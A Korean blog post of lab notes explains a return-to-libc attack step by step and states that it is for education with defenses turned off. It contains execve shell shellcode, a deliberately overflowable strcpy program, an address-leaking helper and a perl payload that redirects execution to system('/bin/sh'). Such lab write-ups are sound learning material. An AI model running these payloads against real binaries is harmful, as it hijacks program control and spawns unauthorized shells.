다양한 기록

Return-to-libc Attacks (Ret2Libc) / 실습 본문

운영체제보안

Return-to-libc Attacks (Ret2Libc) / 실습

라구넹 2024. 12. 5. 18:53

* 교육용입니다  /  방어기법 다 해제하고 진행한 거라 현대의 실제 환경에서는 불가능합니다*

const char code[] = 
    "\x31\xc0\x50\x68//sh\x68\bin"
    "\x89\xe3\x50\x53\x89\xe1\x99"
    "\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
    char buffer[sizeof(code)];
    strcpy(buffer, code);
    ((void(*)( ))buffer)();
}

* const 붙어 있어서 전역 변수로 선언되어도 텍스트 영역에 존재함

어쨌든 저대로 실행해도 실행 인됨..  => Non-executable Stack 때문 (버퍼는 스택에 있음)

 

gcc -z noexecstack shellcode.c

 

위처럼 꺼버릴 수 있음

 

Non-executable stack을 어떻게 파훼할 것인가?

=> 이미 있는 코드로 점프한다 .. ex. libc (common lib)의 system


-- 결국 리턴 어드레스를 조작해야 함

Ret2Libc

덮어씌우는 곳은 항상 버퍼의 시작 주소

1. 버퍼 패딩

2. saved ebp 아무 값으로 덮어쓰기

3. 리턴 어드레스 -> system 주소 덮어쓰기

4. 그 위에 exit 주소 넣기 (공격의 자연스러움을 위함)

5. 그 위에 /bin/sh 주소 넣기 (환경 변수 이용)

 

=> 버퍼가 100바이트라면 입력으로 116바이트는 필요함

 

#include <stdio.h>
#include <string.h>

void echo(char* str)
{
    char buffer[80];
    strcpy(buffer, str);
    puts(buffer);
}

int main(int argc, char** argv)
{
    echo(argv[1]);
    printf("Done");
    return 0;
}

위 코드를 버퍼 오버플로우를 발생 시키는 경우

1. system과 exit의 주소 알아내기

* 저 전에 b echo 후 run 해 줬음

 

2. 더미 공간 구하기

ebp 밑에 바로 버퍼가 있을 거라 ebp와 버퍼 위치 구해서 빼줌 => 88

 

3. /bin/sh 주소 구하기

환경 변수에 넣어두고 꺼내 쓸 것임, * 환경 변수는 스택에 저장됨

import는 들여오기, export는 내보내기

export면 새 쉘이 뜨더라도 이 환경 변수를 알게 됨

#include <stdio.h>

int main()
{
    char *shell = (char*)getenv("MYSHELL");

    if (shell)
    {
        printf("Value: %s\n", shell);
        printf("Address: %x\n", (unsigned int)shell);
    }

    return 1;
}

이런 코드로 환경 변수 주소를 알 수 있긴 한데,

주의 할 점은 실행 파일 길이가 같아야 함

환경 변수에 프로그램 이름도 들어가기 때문 ..

그래서 이 실습에서는 test와 맞게 shel 로 네 글자 맞췄음

주소도 구했음

0xf7dd78f0 system

0xf7dc65c0 exit

ffffd56f /bin/sh

 

페이로드

./test $(perl -e 'print "A"x88, "B"x4, "\xf0\x78\xdd\xf7", "\xc0\x65\xdc\xf7", "\x6f\xd5\xff\xff"')

해석 -

A 88개 -> 버퍼부터 더미공간까지 채움

B 4개 -> saved ebp 자리 채움

"\xf0\x78\xdd\xf7" -> 리틀 엔디안으로 system() 주소

"\xc0\x65\xdc\xf7" -> 리틀 엔디안으로 exit() 주소

"\x6f\xd5\xff\xff" -> 리틀 엔디안으로 "/bin/sh" 주소

 

결과

쉘 탈취 됨

 

아직 해결되지 않은 점

exit는 왜 system의 위에 두고, /bin/sh의 주소는 왜 기존 리턴 어드레스보다 8바이트 위 자리에 두는가?

함수의 프롤로그와 에필로그를 통해 알 수 있음 (다음 게시글)

'운영체제보안' 카테고리의 다른 글

Ret2Libc 정리 및 ROP 개념  (0) 2024.12.05
Ret2Libc - Func's Prologue & Epilogue  (0) 2024.12.05
Heap Overflow with code reuse  (0) 2024.12.05
Heap Overflow with code injection  (0) 2024.12.05
Control Hijacking Attack  (0) 2024.12.05